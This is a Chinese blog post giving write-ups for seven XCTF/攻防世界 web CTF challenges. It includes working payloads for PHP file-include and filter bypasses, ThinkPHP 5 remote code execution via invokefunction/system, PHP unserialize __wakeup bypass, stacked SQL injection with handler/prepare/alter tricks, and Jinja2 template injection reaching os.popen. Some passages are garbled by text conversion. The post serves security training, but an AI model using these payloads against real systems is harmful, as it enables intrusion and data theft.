我是靠谱客的博主 甜蜜奇迹,这篇文章主要介绍攻防世界web 难度系数2 部分题解,现在分享给大家,希望可以做个参考。

1.web2

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
//反转字符串
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
//返回指定的字符串
$__=ord($_c)+1;
//字符转数字,加1
$_c=chr($__); //数字转字符串
$_=$_.$_c;
//拼接,赋值
}
return str_rot13(strrev(base64_encode($_))); //返回进行过base64编码和字符串反转及str_rot13() 函数对字符串执行 ROT13 编码。
}
//ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,传递一个编码过的字符串作为参数,将得到原始字符串。
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>

将上述加密步骤逆向即可获得明文

strrev() 函数反转字符串。

strlen() 函数返回字符串的长度substr()函数返回字符串的一部分。

ord() 函数返回字符串中第一个字符的 ASCII 值。

chr() 函数从指定 ASCII 值返回字符。

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$mi=base64_decode(strrev(str_rot13($miwen)));
for($i=0;$i<strlen($mi);$i++){
$_c=substr($mi,$i,1);
$__=ord($_c)-1;
//字符转数字,减1
$_c=chr($__);
//数字转字符
$_=$_.$_c;
//拼接字符串
}
echo strrev($_);
//反转字符串
?>

2.web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
//strstr搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE(该函数是区分大小写的) stristr则忽略大小写
$page=str_replace("php://", "", $page); //替换字符串中的一些字符(区分大小写)使用空格代替php://
}
include($page);
?>

strstr

//例如:
echo strstr("Hello world!","world");
// 输出 world!

str_replace

//例如:
echo str_replace("world","Peter","Hello world!"); //输出Hello Peter

可以考虑使用PHP替换php

data伪协议(也可使用PHP://input)

http://61.147.171.105:53533/?page=data://text/plain,<?php phpinfo();?>

发现可以写入,尝试使用system发现不可以

使用print_r(scandir(“./”)),查看当前目录

?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php读取文件

3.warmup

 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
//check函数检查传入的page是否在白名单里
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
//判断page是不是字符型 
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
//成功返回true
in_array:检查数组中是否存在某个值
return true;
}
$_page = mb_substr(
//mb_substr() 函数返回字符串的一部分
$page,
0,
mb_strpos($page . '?', '?')
//mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
//url编码
$_page = mb_substr(
//截取?前面的
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
//在白名单返回true
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
//对file进行检查
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
//是一个动态包含
exit;
} else {
echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
}
?>

属于是代码审计

1.file不能为空

2.是否为字符串

3.满足checkfile的要求

(1)第一个 if 语句对变量进行检验,要求 p a g e 为字符串,否则返回 f a l s e ( 2 )第二个 i f 语句判断 page为字符串,否则返回 false (2)第二个 if 语句判断 page为字符串,否则返回false2)第二个if语句判断page是否存在于 w h i t e l i s t 数组中,存在则返回 t r u e ( 3 )第三个 i f 语句,截取传进参数中首次出现 ? 之前的部分,判断该部分是否存在于 whitelist数组中,存在则返回 true (3)第三个 if 语句,截取传进参数中首次出现?之前的部分,判断该部分是否存在于 whitelist数组中,存在则返回true3)第三个if语句,截取传进参数中首次出现?之前的部分,判断该部分是否存在于whitelist数组中,,存在则返回 true
(4)第四个 if 语句,先对构造的 payload 进行 url 解码,再截取传进参数中首次出现?之前的部分,并判断该部分是否存在于$whitelist中,存在则返回 true
include语句包含并运行指定文件。(以下文档也适用于require。)
被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照include_ path 指定的目录寻找。如果在include_ path 下没找到该文件则include最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则include结构会发出一条警告;这一点和require不同,后者会发出一个致命错误。
如果定义了路径一-- 不管是绝对路径(在Windows下以盘符或者| 开头,在Unix/Linux下以/开头)还是当前目录的相对路径(以. 或者…开头) --include_ path 都会被完全忽略。
可以理解为若include函数中出现了…那么…前的部分就会被忽略,解析器就会在当前目录的父目录寻找该文件。那么这样一来我们一层一层找,问题就迎刃而解啦!

构造:

?file=hint.php?(通过检查)/…/…/…/…/ffffllllaaaagggg

file=hint.php?../…/…/…/…/…/ffffllllaaaagggg

4.php_rce

ThinkPHP V5,在github搜可以发现对应版本的漏洞,

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

查ls …/…/…/

可以看到flag,使用cat打开即可

5.Web_php_unserialize

<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() { //序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:d+:/i', $var)) { //使用+绕过
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

常用魔术方法

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
  1. 将传的参数进行base64编码,绕过base64_decode函数
  2. 在反序列化串的O:前加个加号“+”,绕过preg_match函数
  3. 修改反序列化串的对象属性个数(一般大于原个数),绕过wakeup函数
<?php
class Demo {
private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a);
//绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a);
//绕过__wakeup()函数
echo base64_encode($a);
//绕过解码函数
?>

O:+4:“Demo”:2:{s:10:" Demo file";s:8:“fl4g.php”;}

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

使用php代码直接运行出结果,不然会有出错。

6.supersqli

首先尝试联合注入

1’ order by 2 # 得有两个字段

1’ ubion select 1,2 # 被过滤

使用堆叠注入

1’ ;show databases;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5RVHpiBV-1662735456495)(C:UserszhangAppDataRoamingTyporatypora-user-imagesimage-20220909185321130.png)]

-1’;user supersqli;show tables;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-431FNq2i-1662735456496)(C:UserszhangAppDataRoamingTyporatypora-user-imagesimage-20220909185522070.png)]

-1’;use supersqli;show columns from 1919810931114514;# 纯数字使用反引号

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YuDGnlCz-1662735456497)(C:UserszhangAppDataRoamingTyporatypora-user-imagesimage-20220909185658958.png)]

拿flag值

(1)handler

handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。

-1’;use supersqli;handler 1919810931114514 open as p;handler p read first;#

handler 1919810931114514 open as p 将数字表当做p打开

handler p read first 读取第一行

(2)预编译绕过法

若是直接查询

select flag from 1919810931114514

就可以直接拿到flag,可是select 被过滤掉了,所以我们可以通过预编译来绕过select的过滤

设置参数

SET @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);

执行预编译SQL语句

prepare stmt from @sql;

EXECUTE stmt;

合起来输入:1’;set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);prepare stmt from @sql;EXECUTE stmt;#

(3)修改原查询法

原理就是没有过滤掉alter,将字段flag改为1,在查询的时候直接出现flag

先看看我们一开始查询1的时候那表在哪,这里我们知道原查询默认的数据库就是supersqli

将放着flag的表1919810931114514名字改成words

alter table 1919810931114514 rename to words

表里头字段名flag改成id

alter table words change flag id varchar(100)

就行了

即查询

-1’;

alter tables words rename kkk;

alter tables 1919810931114514 rename words;

alter tables words change flag id varchar(100);#

然后在查询1’ or 1#

7.Web_python_template_injection

建议看一下基础知识,文章:从零学习flask模板注入 - FreeBuf网络安全行业门户

方法一

SSTI即(server-side template injection)服务器模板,平时我们常用的有sql注入,xss注入,xml注入和命令注入等等。大家应该都知道sql注入的原理以及方式,而模板注入的原理也很类似都是通过输入一些指令在后端处理进行了语句的拼接然后执行。模板注入不同的是它是针对python、php、java、nodejs、javascript或是ruby的网站处理框架。
img

在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式

(1).查看全局变量{{config}}

(2).寻找可用引用

文件包含:是通过python的对象的继承来一步步实现文件读取和命令执行的的。

几个魔术方法:

class 返回类型所属的对象
mro 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
base 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
init 类的初始化方法
globals 对包含函数全局变量的字典的引用

{{‘’.class.mro[2].subclasses()}}-----------可以看到有一个type file类型(可以进行文件读取),而且位置在数组第40。

(3)读取文件

{{ [].class.base.subclasses()40.read() }}---------可以看到有一个 <class ‘site._Printer’>类型(可以进行命令执行),而且位置在数组第71。

{{‘’.class.mro[2].subclasses()[71].init.globals[‘os’].listdir(‘.’)}}--------可以看到fl4g

{{‘’.class.mro[2].subclasses()40.read()}}-------得flag

参考大佬文章:(19条消息) 【愚公系列】2022年04月 攻防世界-进阶题-WEB-014(Web_python_template_injection)_愚公搬代码的博客-CSDN博客

方法二

命令解释:

命令效果为执行popen()函数内的命令。
其中:
1、__ class__ :查看变量所属的类
2、 __ init __ :初始化类,返回function
3、 __ globals __ : 获取function所处空间下可使用的module、方法以及所有变量
4、os.popen() 从一个命令打开一个管道

{{.class.init.globals[‘os’].popen(“ls”).read()}}---------得到fl4g,发现传入的命令“ls”得到执行,且发现文件fl4g。

{{.class.init.globals[‘os’].popen(“cat fl4g”).read()}}-------读取flag

参考大佬文章:(19条消息) 攻防世界之Web_python_template_injection (web进阶)_0。0;的博客-CSDN博客

最后

以上就是甜蜜奇迹最近收集整理的关于攻防世界web 难度系数2 部分题解的全部内容,更多相关攻防世界web内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(57)

评论列表共有 0 条评论

立即
投稿
返回
顶部